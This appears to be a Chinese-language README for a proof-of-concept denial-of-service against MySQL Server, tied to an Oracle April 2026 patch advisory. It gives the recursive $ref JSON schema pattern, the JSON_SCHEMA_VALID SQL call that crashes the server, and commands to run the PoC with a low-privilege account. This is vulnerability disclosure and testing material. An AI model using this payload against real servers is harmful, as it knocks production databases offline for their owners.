官方厂商公告:Oracle 关键补丁更新公告 — 2026 年 4 月。
Oracle MySQL Server 中的漏洞(组件:Server: JSON)。
受支持的受影响版本:8.0.0–8.0.45、8.4.0–8.4.8 和 9.0.0–9.6.0。
该漏洞允许低权限用户使 MySQL Server 崩溃。
CVSS 3.1 基础评分:6.5(仅影响可用性)
CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
观察到的机制:当 MySQL 针对包含长线性 $ref 指针链的 JSON Schema 执行 JSON_SCHEMA_VALID() 时,会发生深度递归,且在模式编译/验证期间没有有效的深度上限——导致栈耗尽,进而出现挂起或可重复的崩溃。
调用链(概念性):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ 内部 JSON 模式验证 → 重复的 $ref 解析
→ 栈耗尽 → 挂起 / 崩溃
对于此 PoC,任何经过身份验证的 MySQL 账户都足够:只需授予 *.* 上的 USAGE 权限(MySQL 的最低权限——能够连接——无需 SELECT、表访问权限或管理员角色)。如果用户能够打开会话并运行 SELECT JSON_SCHEMA_VALID(...),就可以触发该条件。
poc_schema_dos.py构建一个带有线性 $ref 链(示例深度为 1200)的 JSON 模式:
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
发送到 MySQL 的命令为:SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
在针对易受攻击版本的测试中,观察到该操作约在一秒内使服务器崩溃(确切时间取决于硬件、构建标志和模式深度)。
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
要测试低权限账户:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
然后执行:python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py:概念验证脚本README.md:本文件